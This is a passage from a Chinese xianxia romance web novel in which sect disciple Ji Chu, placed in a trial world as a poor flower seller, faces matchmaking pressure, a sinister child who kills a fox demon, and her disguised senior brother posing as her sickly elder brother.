孔回端也自觉形象尽毁,丝毫不敢叫人看见他这副样子,灰溜溜地捡着小路走了。 * 纪楚摘掉蒙面的黑布,换未受伤的左手和许盈击掌。 许盈用手肘顶了顶身侧的蒋成旭,揶揄他: “怎么,之前不是还说打打杀杀太粗鲁,今天怎么上棍子了?” 蒋成旭扬手将棍子朝肩上一扛,被她调侃也不觉得尴尬,十分洒脱爽朗地打了个响指: “实践才能出真知,古人诚不我欺……到底还是许大侠看的透彻,对付孔回端这种人,确实棍子更管用!” 许盈抬起下巴“切”了一声,对他谄媚讨好的态度很是受用: “那是自然。” 纪楚看得好奇,也伸出三根手指跟着比划了一下,一次成功,打了个格外清脆的响指。 她很是惊喜地看向许盈和蒋成旭。 两人见状齐刷刷收回胳膊放在身前,双手做海豹状,“啪啪啪”为她鼓掌。 纪楚满意。 一边的陈梧却猛地打了个喷嚏: “阿嚏——!” 许盈转头看向他: “你怎么一直打喷嚏?难道我们跟前有鬼吗?” 陈梧转向纪楚,一句话半天没说出来,只发了个“渡渡渡”的音,控制不住又打了个喷嚏。 纪楚一脸茫然地展开双臂在半空抖了两下,以示清白: “我已经将渡明粉洗干净了,还用了好几遍清洁术呢。” 她这一抖,许盈和蒋成旭只闻到一股淡淡的桃花香,陈梧却立即以袖捂脸匆匆跑远,弯着腰狠狠打了几个喷嚏。 纪楚:“……” 她不敢动了。 * 问仙大会如期而至。 内门弟子无论是否参加,都早早在主峰集合,掌门与一众长老齐聚一堂,法宝灵器发出霞光,飞鹤玄鸟盘旋半空,场面很是恢宏盛大。 如纪楚一般的年轻弟子头一次参加这样的盛会,免不了激动好奇,一颗颗脑袋扭来扭去,东张西望左顾右盼,见着陌生的东西便提醒身边同门去看,一圈小弟子便此起彼伏地发出惊呼声。 引得台上的师父长老们频频皱眉。 孟喻辞作为主峰首徒,自是站在掌门身侧。 他的目光轻易便找到了纪楚的身影。 她穿着如其他弟子一般的青白两色弟子服,站在一众弟子中间,一副安静乖巧模样,难得没有左摇右晃,而是认真地听着长老讲话。 这颜色衬得她脸颊白皙透亮,漂亮得像个瓷娃娃。 孟喻辞的目光下意识落到她右手腕上。 虽然知道自己以灵力治疗后,应当已经好的差不多,但还是忍不住担心她不听话,短短两天,又害的淤伤加重。 下一秒,就见纪楚抬起右手,毫不犹豫地捶了一下站在前头的蒋成旭。 看着像是大好了。 这边纪楚耐着性子听了半天比试规则,却发现前三名“拜见神骨”的奖励竟然变成了“灵丹”。 她一下子急了,叫了蒋成旭好几声,他却根本没听见。 于是忍不住,抬手捶在蒋成旭肩膀: “你不是说前三名可以拜见神骨吗?怎么只剩下灵丹了?” 许是这个“只”字说的太过嫌弃,周围不少弟子都扭头看她: “纪师妹,你未免也太狂妄了。那可是圣品应元丹!一颗就顶一个修士五十年修为,更别说第一名可以得到足足三颗!” 说话的人白她一眼: “我同你说这么多做甚?一个小小玄境,连圣品应元丹都不懂,淘汰了可别回去抱着你师兄哭!” 纪楚“哼”他一声: “谁先被淘汰还不一定呢!还是你回去抱着你师姐哭吧!” 对方:“你——” 蒋成旭回过神来,装作不小心,一把将前头那人推出好几步,撞得一圈人都抱怨连连。 然后他对纪楚说: “我也不知道为什么,但是总觉得不太对劲……” 蒋成旭话未说完,刚刚让他盯着走神许久的东西忽然从众人脚下的地面缓缓浮现。 ——竟是一块巨大的罗盘。 罗盘为虚影,盘上无指针,分内外两层,正以相反的方向、同样的速度同时旋转。 随着盘面的转动,原本空空荡荡的盘面忽然浮现出点点星子,内外星子连成线,恰似星空天河,却又因为分开旋转的罗盘两层而频频错开,复又连出不同的形状。 众弟子低头,看着自己脚下踩着的罗盘,顿时惊叹出声: “万象天罗盘!” 夫万象森罗,不离两仪所育,百法纷凑,无越三教之境。 万象天罗盘联通万千世界,其间乾坤大地、日月星辰,万事万物,相似而不相同,人于其中,难分真假,死生无渡,是一件从不现世的神器。 如今,竟在拂宇仙宗的问仙大会上出现。 甚至看掌门的表情,显然在他意料之中。 诲元仙尊 面色沉肃,面对一众惊诧的长老和不知情的弟子,缓声道: “此次问仙大会的比试地点,便在万象天罗盘中。”—— 作者有话说:注:夫万象森罗,不离两仪所育,百法纷凑,无越三教之境。出自《茅山长沙馆碑》 师兄:(递果子)(摸摸头) 全世界最好哄的纪楚:(扭头)“哼。”(已原谅) 第30章 掌门此话一出,众弟子尚且懵懂惊奇,孟喻辞却倏地从纪楚身上收回视线,抬眸看向自己的师尊——拂宇仙宗的掌门。 几个长老心中同样纳罕:原本定的是幻境比拼,怎的忽然祭出了万象天罗盘这样变数更大的法器? 他们不着痕迹地互相对视一眼,皆从彼此眼中看到了不解。 万象天罗盘中境况,只有参与者自己知晓,旁人无从探知。 如今比赛形式这么一变,能够观察弟子表现的水镜便没用了。 他们只能等着比赛结果,却不能知道具体发生了什么。 诲元仙尊对四面八方传来的目光视若无睹,挥袖,参加问仙大会的众弟子身前便逐一浮现一块玉质剔透的巴掌大小的玉牌。 “尔等入小世界后,玉书牌上自会显示比试内容。玉书牌碎,则视为淘汰。” 说罢,他手一抬,万象天罗盘徐徐升至半空,踩在不同方位上的弟子身形随之消失,被传送去了不同的小世界。 待最后一个弟子也消失不见后,诲元仙尊脑海中再度回想起那人的“威胁”: “只取前三名拜见神骨,未免太过小气。我来替你布置,可叫参加问仙大会者,人人得见神骨。” 纵使心中再多思绪,诲元仙尊始终面色如常,抬手示意孟喻辞上前,传音入密: “事情有变,我不得不将众弟子分开,其中一个世界,需得你亲自去“照拂”。” * 纪楚,现在是住在巷尾的卖花女杨思思,抱着篮子推开院门。 她被万象星罗盘传送来的这个小世界看起来和人界并没有什么不同,是个远离战乱纠纷的小城。 幻境考核中弟子不可随意暴露身份,否则人人都能拿着剑用灵力大杀特杀,也就没了考试的必要。 玉书牌上空空荡荡,没有任何有关考试内容的字符,她也只得暂且按照“杨思思”平日的路线行动。 杨思思是个普通人族,父母早逝,和哥哥相依为命。 哥哥杨念之体弱多病,无力养家,是以杨思思便常常去后山采花,再在城中售卖,只能勉强赚些两人吃饭的钱。 连续下了两天雨,杨念之不慎感染了风寒,昨天咳了一整天,今早上又开始高热不退。 杨思思一大早就跑去城里抓药,此时才到家。 小院虽然简陋,却也十分干净。 杨念之的屋子房门紧闭,没什么动静,应是还在睡着。 杨思思前天运气好,采的花被一个大主顾看中,一口气全买了不说,还额外得了一小袋棋子做赏赐。 听说这棋子是极其珍贵的宝石熔成的“云子”,但丢了一大半又碎了一大半,剩下的棋子连半局都凑不齐,被随手赏赐给了杨思思。 “云子”材质贵重,就算数量少还碎了,但对饭都吃不起的人而言照样是个宝物。届时按重量卖给烧炉铸铁的人,叫他们熔了再铸,也能赚得不少。 杨思思很是珍重这些棋子,专门用荷包将其装好随身带着,打算找机会卖掉。 只是杨念之病的突然,她昨天一整天都没出门,也就没空去找买家,一直挂在她腰上。 杨思思的东西,纪楚也不好乱动,只刚来时在荷包里翻了翻,没看出什么名堂,还带出不少碎渣被风吹散,恐怕要少卖不少钱。 于是她又赶紧把荷包口袋封好挂回腰间,拿着剩下的银子买了药。 她回家后放下篮子,拆了药放在火上熬着,又跑去厨房取来半个饼叼在嘴里。 平时家里都是杨念之做饭,如今人病倒了,她就只能吃些昨日剩下来的冷饼。 纪楚又从厨房顺手拿了个扇子,学着看到的别人熬药的动作,有模有样地在药罐旁边扇着,边心不在焉地研究手里的玉书牌。 院门半掩着,门口偶尔有人影路过,没过一会儿,邻居何婶闻着药味推开她家院门,一见纪楚模样,顿时喊起来: “苍天啊!你这是熬药呢还是烧瓷呢?” 说着她匆匆上前,抽走纪楚手里的扇子,隔着厚布掀开药罐一瞧,里头的水已经快熬干了。 何婶一脸无奈,催着她拿碗盛药,边道: “你兄长这是又病了?唉……早上又吃的冷饼吧?” 她说着说着又伤感起来: “老杨两口子也是个心狠的,丢下你们兄妹俩说走就走,一个病的照顾一个小的,吃饭都成问题……” 何婶哽咽到一半,话锋一转,忽然问了句: “你前几日上街卖花,有没有遇见奇怪的人?” 纪楚有些不明所以,回答道: “奇怪的人?没有吧……我昨天一天没出门,出什么事了吗?” “没有!我只是随口一问。” 何婶话题转移地很是生硬: “说起这个,你兄长身子骨不好,家里家外全靠你一个人支撑实在太过辛苦,不若早日寻个夫君安定下来,也好和你一起照顾兄长。” 纪楚:“啊?” 何婶一副早有准备的模样,朝她手里塞了一本册子: “你这丫头,自己的事一点也不上心。喏,这里头全是顶顶好的儿郎……挑挑看,看中了,婶子替你去说!” 说完,她推了推纪楚肩膀,一副今天喝药痊愈明天就选中夫君后天就能吃上婚席的迫切表情: “好了好了,别在这儿杵着了,快去里头给你哥喂药吧……册子记得看啊!” 纪楚只来得及匆匆一瞥,最上面一页上似乎写着一句“窈窕淑女,君子好逑”。 原来这是一摞“表白情诗”。 她茫然地捏着一摞纸,端着药碗推开了杨念之的门。 杨念之静静躺在床上,五官清秀俊美,久病虚弱的面色略显苍白,反使他显得更加干净雅致,整个人如修竹般清俊疏朗,看着比杨思思还要清秀几分。 俨然是个病弱美男,还是个发烧昏睡任人宰割的病美男。 纪楚把手里的“相亲册子”放到桌上,端着药站到床边思考了一会儿,才发现自己不会照顾病人,更不会喂药。 杨念之昏迷不醒,她拿着碗和勺子比划了半天,喂一勺漏半勺,又迟迟没法狠下心掰开床上这个虚弱漂亮的人的下巴,最后只能泄气地坐在床边,替“杨思思”翻阅这些表白心意的“情诗”。 “所谓伊人,在水一方。” “有美一人,清扬婉兮。” “青青子衿,悠悠我心。” “……” 每个字都认识,连在一起确像一套组合拳,打的她头晕眼花。 纪楚从白天翻到晚上,杨念之没醒,玉书牌也毫无变化,任务迟迟不出现。 她有些焦虑,又给杨念之熬了一碗药,依然洒了一大半。 中间的时候何婶来了一趟,看杨念之还没醒,又询问她是否有看中的“情诗”: “你只管大胆挑,越快越好,无论哪个,何婶都能给你谈拢!” 读诗读到失去所有力气的纪楚:“……” 她委婉道:“我不太喜欢读诗。” “不喜欢诗啊……” 何婶先是失望,很快又振奋起来,翻出一摞画着人像的册子: “要是实在没个喜欢的,那也无妨,何婶这边还认识几个不会作诗的,样貌都是一等一的好,你再回去挑挑……上点心啊,如今已是不能再拖了!” 纪楚:“为什么不能拖了?” 何婶欲言又止半晌,想起那人的交代,只得顾左右而言他: “……这不是好儿郎太抢手,怕你错过了!一定得尽快挑好啊!” 她的语气太过严肃迫切,以至于纪楚不禁开始怀疑,自己来到这个小世界的任务其实是给“杨思思”挑个夫君。 ……然后一起照顾她哥? 这都什么跟什么啊?! 纪楚没有应付这些话题的经验,好容易将何婶送走,她将小像册子和那一摞情诗全都拿 着坐到杨念之房门口,借着夕阳的余晖认真翻阅。 虽说问仙大会不可能有挑女婿这样荒诞的任务,但这是“本地人”执意塞给她的,里头或许有什么能激活任务的线索。 纪楚逼自己静下心来仔细找找。 但只坚持了一会儿,她就在大同小异的画像和咬文嚼字的酸诗中逐渐失去理智,“啊——”得长叹一声仰面躺倒在地上,溅起一片灰尘。 “比赛难,熬药难,给自己挑夫君更是难上加难啊——!” 她展开两臂,仗着此处无人可见,深情感慨。 以门槛为分界线,纪楚两腿在屋外,上半身倒进杨念之的屋子里,霞光随着她的躺倒从门外撞进来,将她的脸和头发照成了金色,脸上细小的容貌在夕阳下格外明显,像蒙了一层金色的雾。 纪楚睁着眼睛,以倒立的视角,与床上坐着的人大眼瞪小眼。 * 孟喻辞睁开眼的时候,便看到了这一幕。 自纪楚这一批弟子被传送走后,他也入了万象天罗盘,排查了许多小世界,最后轮到这里。 因着传送与排查耽误了时间,所以他顶替的身份一直在昏迷中,此时,距离这一批弟子被送至这里,已经过去了一整个白天。 一个白天,足够这些小弟子们斗上几轮了。 说不定他出现时,原本在这里比试的弟子已经被淘汰了。 只是没想到,一睁眼,就看见纪楚身披霞光躺在他门口的地上,左手举着“情诗”,右手举着“画像”,嘴里还喊着什么“给自己挑夫君好难”。 孟喻辞:“……” 纪楚被他吓了一跳,匆匆翻身从地上爬起来,飞快切换进“相依为命的妹妹”的角色,模仿着杨思思看到杨念之醒来时的语气,惊喜道: “你……啊不是,阿兄,你醒啦!” 孟喻辞脑海中缓缓浮现自己这具躯体的身份: 杨念之,杨思思的兄长,体弱多病,昨夜高烧,昏迷不醒。 他的目光从床边放着的药碗移到了顶着杨思思壳子的纪楚脸上。 纪楚心跳开始加速。 不知怎的,这杨念之昏迷的时候看着就是个安静平和的男子模样,一睁眼,目光竟如此犀利。 一言不发盯着她的时候,浑身都散发着冷淡不好惹的气质。 甚至给她一种错觉,仿佛是师兄在打量她似的。 纪楚本能在这“酷似师兄”的目光中觉得心虚,下意识解释: “我给你熬药了,但是火候没控好,就熬……熬干了点。” 孟喻辞收回目光,垂眸看着自己衣襟袖口上的“污渍”,轻易便能想到她是如何“熬干了药倒洒了药又拉来自己袖口擦拭”的。 纪楚看他已经发现了自己的“罪证”,顿时更加紧张。 原以为自己匹配的这个身份只一个亲人,想来很好糊弄,没想到对方气场这么强大。 她并不知道杨思思和杨念之平日如何相处,只能从周围邻居的态度中察觉一二,这对兄妹相依为命,极为亲近。 可惜若是太过亲近,或许就会察觉到她的不对劲了…… 纪楚感到压力山大,咬着嘴唇眼神朝后朝下移,一边思考着在身份暴露前把杨念之打晕的可能性。 如果他来不及怀疑自己,又一直病着昏迷不醒,应当就不算暴露了……吧? 孟喻辞将她的小动作尽收眼底。 不止纪楚不想暴露身份,他同样也需要杨念之的身份伪装。 于是他收敛了自己的气息,以杨念之的语气说道: “无妨,你本就做不惯这些。” 他一开口,声音轻柔,带着久病初醒的虚弱,瞬间冲散了先前那股压迫感。 纪楚抬头,看向杨念之。 他已经再度恢复了“温柔病弱哥哥”的形象,让纪楚怀疑方才那一瞬间的压迫感是错觉。 “……思思。” 孟喻辞不大熟练地叫她的“新名字”: “我听见你方才说,挑夫君?”—— 作者有话说:恭喜师兄喜提“病弱煮夫”角色卡,病弱程度存疑,煮夫技能加载中。 30-40 第31章 纪楚这才想起来自己手上还拿着两摞“选妃册子”。 “是隔壁的何婶,她说让我选个喜欢的……” 一只骨节分明的手伸到她面前。 “杨念之”垂着眸,几缕发丝遮住他略显苍白的侧脸,声音平淡态度自然: “给我。” 纪楚愣了一下,意识到杨念之是家里的长辈,妹妹的婚配确实需得经他同意。 于是将两手拿着的册子捋平捋展叠在一起,放到他伸出的手上。 孟喻辞随意翻了几张,便将这一摞纸朝桌上一扔,用没什么情绪的语调对她说: “都回绝了。” 纪楚目光跟着他的动作落到桌上散开的册子,点点头,心不在焉地应了一声: “哦……” 孟喻辞看她一眼,见她仍盯着那些纸发呆,一副怅然若失的模样,不由得端详她几眼,语气颇有些莫测: “怎么?这里头,有你舍不得的?” 他这话问得有些诡异,分明是哥哥操心妹妹的婚事,却愣是叫纪楚从中品出几分熟悉的寒意来。 有点像师兄和她对练时的感觉。 她来不及思考,脱口而出: “当然没有!” 寒气稍缓。 纪楚一脸后怕地左右看了看,再三确认这屋子里只有自己和“本地人”杨念之两个,绝不可能有什么剑修啊、师兄啊、桃枝什么的东西,这才松了口气。 难道是师兄对她的影响太过深刻,以至于人不在精神却在,余威长存? 孟喻辞看她这副警惕的模样,心里觉得好笑,淡声道: “我看你发呆,还以为你有喜欢的。” 说罢,他又维持着“杨念之”的模样,温和出声: “你兄长我并非古板之人,若是你真有喜欢的,直说就是,我也可替你掌掌眼。” “不不不……” 纪楚头摇似拨浪鼓,坚定道: “我无心婚嫁,更不会喜欢别人,我只想永远和阿兄在一起。” 她一边表忠心,一边在心里念叨: 那两摞纸翻了好几遍也看不出名堂,想必和任务毫无关系,有杨念之在前面拦着,也就不用编借口应付何婶了,是好事! 于是她目光更加坚定。 她这话说的斩钉截铁,又用着“阿兄”这样极其亲昵的称呼,纵使知道是在扮演“相依为命”的“亲兄妹”,孟喻辞还是不由得长睫轻颤。 他抬眸,纪楚正双眸炯炯地盯着他,还十分刻意地眨了眨眼睛,以使自己显得情感真挚,满脸写着“你看我多真诚”的表情。 ……师妹是个说谎话不眨眼的骗子,不过这戏演的可真不怎么样。 孟喻辞轻叹。 他掀开被子作势起身,纪楚没忘记这是个“久病难愈”、“身娇体弱”的病美男,三步并做一步跳到他床边,伸手想要搀扶他: “阿兄,你要下床吗?我扶你吧!” 孟喻辞:“……” 扮演“杨念之”的第一关:不要被纪楚发现。 他调整步伐,尽量轻而无力。 一双软而温热的手轻轻托着他小臂,纪楚一脸“守护易碎品”的表情: “阿兄,小心别摔了。” 孟喻辞沉默着,在纪楚的搀扶下走到衣柜旁。 纪楚恍然大悟,转身就想帮“杨念之”脱衣服: “原来阿兄要换衣服啊,那我来帮你……吧——啊?” 她话没说完,“杨念之”二话不说按着她的脖子把人推 了出去。 木门在她面前毫不犹豫地关上。 纪楚一脸委屈。 她自认已十分努力,却还是不知道自己这个“贴心好妹妹”哪里演的不够完美,惹了“本地人兄长”不快。 虽然“杨念之”的力气大得有点让她震惊,她身为一个修士,竟然毫无抵抗之力地被推了出去。 不过好在,“杨念之”苏醒至今并未质疑她的身份,这一关应当是过了。 纪楚便没有多想。 天色渐暗,一缕凉风顺着衣领钻进了衣服。 纪楚打了个哆嗦,忽然觉得有点冷。 分明白日里还艳阳高照,太阳才刚一落山,竟然这么快就降温了。 她转过身,背对着门,在院子里漫无目的地踱了几步,等杨念之换衣服。 忽然,隔壁传来一声尖叫,伴随着重物被砸到墙上的声音。 等了一整个白天的玉书牌终于出现了变化,随着夜幕降临,一行墨色字迹缓缓浮现: “妖族盗宝,为祸世间。除妖计分。” 原来任务是除妖。 在这行字下面,还有一行红色小字,像是从玉书牌中长出来的玉纹: “纪楚:人族。得分:零。” 看到这行字的一瞬间,她心里生出几分难言的古怪。 但一时间又想不明白哪里不对劲,只得先将玉书牌收起来,飞身上墙跳到了隔壁。 * 隔壁是何婶一家。 院中无人,主卧黑着灯,只厨房的方向有微弱的火光,像是灶台点着火,丝丝缕缕的烟雾从门缝中飘出来,带着极其鲜香的鸡汤味道。 白天倒是听何婶提过她晚上要熬鸡汤。 若是里面的人是何婶…… 纪楚察觉到门后的妖气,心生担忧。 她从墙角顺了把砍柴刀,缓缓靠近那扇门。 里面悉悉索索的动静在她靠近门扉的同时安静下来。 妖气极淡,其中夹杂着一股昭示着不详的血腥气。 难道她还是晚了一步? 纪楚心里一急,重重撞开虚掩的门,柴刀挥出剑势,朝着灶台旁的那团阴影劈下—— 一个梳着双丫髻的小女孩抬头,迎面对上刀刃。 竟是何婶的小女儿,妞妞。 纪楚一惊,猛得转变方向,柴刀劈到了一旁的灶台上,将泥筑的灶台砸出了一条裂缝。 妞妞神情冷漠,甚至带着几分不该出现在孩童脸上的阴沉。 她手里提着一只没能化形的狐妖,脖子被扭成可怖的角度,看起来已经没气了。 方才纪楚感知到的妖气便是来自于此。 一个五岁的人族女孩,竟徒手杀死了一只妖! 铁锅里的鸡汤发出“咕嘟嘟”的声音,更浓的香气逸散开来,昏暗的暖光中,除却妞妞手里那只断了脖子的狐妖,一切都显得温馨而平静。 纪楚却丝毫没有感觉放松。 眼前所见处处都透着古怪。 这样一大锅鸡汤放在火上,主卧却黑着灯,方才那么大的一声尖叫,何婶和其他人当真没有听见吗? 妞妞又为什么会一个人出现在这里?真的是她杀了狐妖吗? 随着纪楚心里疑问的不断增加,妞妞的目光终于落到了她脸上。 “偷鸡贼?” 童音清脆,却平白叫人心底发怵。 平静了一整个白天的小世界终于这一刻显出隐藏在深处的阴森和诡异。 纪楚握紧了手里的柴刀,装作一无所知的模样: “我没有想要偷鸡,妞妞,你不记得我了吗?我是住在隔壁的杨思思。” 妞妞看着她,似乎在分辨她话里的真假。 忽然,柴火发出“噼啪”声响,灶台中的火猛地向上一蹿,仿佛一个动手的号角。 面前那身高不过才到纪楚腰间的小女孩竟一跃而起,双手成爪状,朝着纪楚的脖子抓来,十指尖端还带着狐妖的血。 纪楚急忙后退。 她尚且不知发生了什么,但白天时妞妞还是个只敢躲在门后吃糖的小姑娘,现在纵使露出凶相,她依然无法毫无阻碍地动手,只能被迫退出狭小的厨房。 妞妞紧追而出,立于厨房门口,孩童的双眼在明暗交错的瞬间透出几分阴郁的灰暗。 不像是人,反倒似鬼似魔。 谁也没有动。 两人僵持间,另一边的院墙忽然又翻过来一个人,噗通一声砸在鸡笼上。 睡着的鸡顿时跳了起来,又纷纷从破洞的笼子里逃窜而出,霎时间鸡鸣不止,鸡毛满天,将院子里诡异的气氛冲散殆尽。 一个书生打扮的少年从散架的鸡笼中央抬起头。 纪楚心道不妙,身形一转挡在他身前,同时翻转刀身,以刀柄与妞妞的攻击相撞,稳稳挡下了妞妞的一击。 身后那书生叹了一句: “靠,小孩也这么猛?” 这语气太过熟悉。 纪楚手上用力,将妞妞甩出去,狐疑回头,对上一张全然陌生的脸。 书生见她模样,顿时眼睛一亮,也顾不得自己此刻的狼狈模样,拨了下掉到脸前的发带,清了清嗓子,趴在鸡笼上冲她一拱手: “姑娘好刀法,人美刀也美,不知姑娘姓甚名谁,怎么称呼?” 纪楚:“……” 她无语道:“这位姐姐,其实我用的剑法。” 书生打扮的许盈:“……!” 她顿时认出了纪楚,急忙捂住嘴防止自己喊出对方身份,惊呼声从指缝溜出来: “天啊!我们竟然被分到同一个小世界了!” 既然是熟人,许盈也不必再假装什么“手无缚鸡之力”的书生了。 她三两下从鸡笼上爬起来,和纪楚合作将妞妞用麻绳捆了放到一边,然后拍拍手说: “真是服了,给我安排个男身也就罢了,竟然还是个瘦弱鸡仔!为了演好书生,姑奶奶我翻墙都得先放个凳子……” 说着,她又看了一眼纪楚,仗着身高优势,摸了一把她的脸: “原来从这个角度看你,这么可爱啊!” 纪楚无奈:“这是杨思思的脸。” “就是这个表情!” 许盈又将两只手都放在她脸上,摸了又摸,这才心满意足道: “熟悉的人一看就知道是你啦,和摸你的脸完全没有区别嘛!” 说着她又用细长胳膊将纪楚抱了抱,发出幸福的喟叹: “这个男身还是有点好处的,起码个高,看你现在矮矮的小小的,抱着真舒服啊……” 纪楚也觉得新奇,伸手回抱住许盈,在她削瘦的腰上摸了又摸,感受了一下这个既熟悉又陌生的拥抱,评价道: “确实挺特别的,就是有点硬……” “砰——” 院子大门忽然被人从外面推开,抱成一团的纪楚和许盈齐齐扭头,对上了“杨念之”面无表情的冷脸。 月光洒在“杨念之”脸上,让这张俊美温柔的脸显出几分诡异的寒意。 黑眸冷而无情,盯着纪楚放在“书生”许盈腰上的手。 半晌,平静开口: “你们在做什么?” 第32章 “你们在做什么?” 普普通通一句话,听得纪楚和许盈两人虎躯一震,莫名生出一股被寒冰冷刃顶在后背上的威胁感来。 两人这才意识到,她们现在的造型是“一对陌生男女”,旁若无人地抱在一起互相摸来摸去,确实太过奇怪。 尤其是被“杨思思”的哥哥抓了现行。 还是赶紧分开的好。 许盈和纪楚赶紧收回手。 纪楚后退一步,刚一抬头,头皮忽然传来一阵钝痛。 ——她的头发在拥抱中不小心缠上了许盈领口衣襟。 许盈:“……” 好戏剧啊! 许盈:“……” 好倒霉啊! 她急忙伸手拽了拽,没成功。 许盈也加入进来帮忙,结果两人一番努力,纪楚的头发越缠越死。 孟喻辞全程就站在原地,看着两人七手八脚地一通折腾。 最后纪楚还是放弃了,她顶着扯乱的头发,保持着歪着头的造型,故作镇定地介绍: “阿兄,这是我的失散多 年的好姐妹,纯洁的姐妹情。” “是吗?” “杨念之”语调冷淡。 “没错的没错的。” 由于纪楚的头发还挂在她身上,许盈只得歪着头看向孟喻辞,一脸骄傲道: “纪……杨家兄长,你别看我是个男的,其实我压根就不是个男的!” 中气十足,意味深长。 虽然知道许盈是什么意思,但纪楚的目光还是控制不住朝下移。 孟喻辞忍无可忍: “杨思思!” 纪楚虎躯一震,将自己的眼珠子从不该看的地方又挪了回去。 许盈见状,悄悄用眼神示意纪楚: 你兄长肯定是误会了,毕竟我现在是个连城中首富都倾心的“小白脸”,他有危机感很正常。 纪楚读懂了她的眼神,一脸凝重。 她总不能继续挂在许盈身上,加上院子里的情况实在不好叫人发现。 于是她抓住许盈的衣服,两人连体婴一样笨拙地挪到门口。 然后纪楚指着自己的头发,一脸可怜地望着孟喻辞: “阿兄,帮帮我吧……” 孟喻辞视线从她被缠住的头发移到了她脸上的痕迹。 指痕明显,两侧脸颊都有,一看便是男人的指印。 他的目光再度落到了许盈身上。 许盈下意识将两手放在衣服上擦了擦。 她不知道自己为什么这么紧张,简直像是第一次上门的“丑女婿”。 按理来说“杨念之”一个普通凡人,看着又文文弱弱的,她不该这么害怕才对。 许盈思索一番,只能归结于或许这就是“一家之长”的威严,于是冲“杨念之”讨好地笑。 孟喻辞收回视线,目光落在纪楚头发上。 纪楚惯会给他出难题,这才一会儿功夫,头发就乱的像是鸟窝。 硬拽不行,直接剪了又不合适。 他谨慎地观察一番后,伸出手,顺着纪楚的头发理了理,顺利找到缠在一起的一团。 纪楚一边睁着眼睛看他,一边给许盈努嘴,让她挡住院子里的混乱景象。 许盈于是悄悄挪动步子,纪楚也歪着头跟着她转。 孟喻辞几次被她的动作打断思路,只得伸出一只手按住纪楚肩膀: “别乱动。” 纪楚和许盈立时安静下来。 孟喻辞解开她的头发颇废了一番功夫。既避免拽疼她,又要防着她乱动缠地更紧,好不容易才把俩人拆开。 谁知刚一解开,纪楚就一个猛子冲上来,抱着他的胳膊将他朝院外推。 她早就等的心急如焚了。 院子里有一个被捆着的妞妞,厨房门口还扔着一个狐妖尸体,若是被杨念之看见了,这麻烦可就大了! 但她不知道,孟喻辞早就看见了院子里的情况。 甚至为了不打扰她,他还专程等这里安静了才过来。 谁曾想,竟能撞见两人“拉拉扯扯”的一幕呢? 面对着纪楚把“欲盖弥彰”写在脸上的拙劣演技,孟喻辞拿出平生最高表演水平,装作一无所知又柔弱无力的样子,由着她把自己朝外推。 直到许盈将大门合上,两人这才半推半就地停下。 纪楚松了口气,收回手站定。 孟喻辞道: “把脸擦干净。” 纪楚:“啊?” 她茫然地用手背蹭了蹭自己的脸,反倒将污痕蹭得到处都是。 “算了。” 孟喻辞的视线在她脸上巡视一圈,最后还是忍不住抬手,用袖子擦了擦她的脸。 左抹一下右抹一下,动作很是干脆利落,毫无温柔缱绻之意,简直像是在擦窗户。 见她脸上干净了,这才摆出“兄长”的姿态,开口问道: “我才换个衣服的功夫,你怎么就翻墙跑了?” 纪楚:“嗯……” 她左右看了看,灵机一动,捂着自己的肚子撒娇: “阿兄,实在是隔壁的鸡汤太香了,我饿了一天,这才忍不住过来瞧瞧的。” 孟喻辞看着她: “你饿了?” 纪楚忙不迭点头。 这个借口真是太好用了,既能解释自己的行为,还能把杨念之的注意力引走,简直一石二鸟! 于是她又说了句: “好饿好饿,阿兄,我想吃好吃的!” 孟喻辞没有拒绝,而是思忖着: 杨思思不会做饭,杨念之一病倒,她就只能拿厨房的冷饼充饥,啃了两口就觉得又干又噎,不想再吃,确实也算饿了一天。 他复又扫她一眼,见她仰着脸,神色讨好,双眸明亮,两簇眉毛漂亮地皱着,拧成一个夸张而刻意的角度,几乎可以想象到纪楚本人此刻挤眉弄眼装可怜的神态。 她又给他出了道难题。 到这个小世界才不过半天功夫,纪楚已经给他出了好几道“伪装考验”,犹如还在宗门时,每天都有新的意外。 而他竟然也在和纪楚的相处中,生出了一种“关关难过关关过”的坚强意志来。 做饭而已,应该不难。 他自信点头,转身回了隔壁。 纪楚面露喜色。 她就知道杨念之肯定不会看着杨思思饿肚子的! 随后她冲门缝中偷看的许盈比了个手势,让她留在何婶院子里继续观察,自己则跟着杨念之回去。 * 孟喻辞当然不会做饭。 作为一个剑修,他倒是有把握将食材切得分毫不差,可至于如何烹煮、如何调味,则根本一窍不通。 但纪楚浑然不知“杨念之”已经换了个“芯子”,还当他是那个独自扶养妹妹长大的“好厨子”,眼巴巴跟着他凑到了厨房门口。 “阿兄,你要做什么好吃的啊?” 孟喻辞故作镇定,拿起菜刀掂了掂,觉得和剑也没什么区别: “你想吃什么?” 杨念之本人身形瘦高,带着几分读书人的清雅温润,因着常年照顾妹妹的缘故,身上总有种温和贤惠的气质。 但孟喻辞性情冷淡,气质疏寒,纵使套了“杨念之”的壳子,站在逼仄的厨房中,依然像是立于悬崖顶端迎风傲立的高岭之花。 拿着菜刀,宛如手持利刃,随时可以破风而去。 他这副自信傲然的姿态看得纪楚激情澎湃,直觉自己今日定是有口福了,想也不想脱口而出: “红烧排骨!” 切肉削骨,他倒算擅长。 可惜…… 孟喻辞扫视一圈厨房:“没有排骨。” 纪楚失望,左看右看,只在一堆冷饼青菜中间看见了唯一不绿的豆腐。 联想到杨思思卖花赚钱不易,还得给杨念之买药,她就也不好意思提出自己去买点肉了。 于是妥协道:“那红烧豆腐吧。” 孟喻辞颔首,手起刀落,光影缭绕后,豆腐被切成整整齐齐的小块。 刀口平整,几乎看不到切痕。 如果豆腐有意识的话,应当是还没反应过来,就已经被大卸八块了…… 纪楚脑海中莫名浮现出这个念头。 看了杨念之的刀功,那叫一个干脆利落十拿九稳,丝毫不比宗门大厨逊色。 她更期待最后的美食了! 趁“杨念之”专心做饭,纪楚回头出了厨房,攀上院墙,又翻到了隔壁。 许盈正拿着两块木头端详。 见着纪楚,她一手一块木头挡在自己的眼睛前,故作高深: “思思,你兄长把门栓砸坏了。” “怎么可能?” 纪楚完全不信: “我哥是个病弱美男!肯定是何婶家的门栓质量太差,随便一推就坏了。” 说完她绕开许盈,进了何婶家的厨房。 许盈原本也只是无聊乱转才看见的,此刻见纪楚浑然不在意的样子,也急忙放下断成两截的门栓,跟着她去了厨房旁边。 “我刚刚查看了一遍,这里没别的痕迹,应该是鸡汤引来了狐妖,很快就被那小 孩掐死了。” 许盈说完又推了推昏睡不醒的妞妞: “她从刚刚就没反应了……还活着,但是气息不太像人。” “那其他人呢?” 纪楚问。 许盈脸色有点不好: 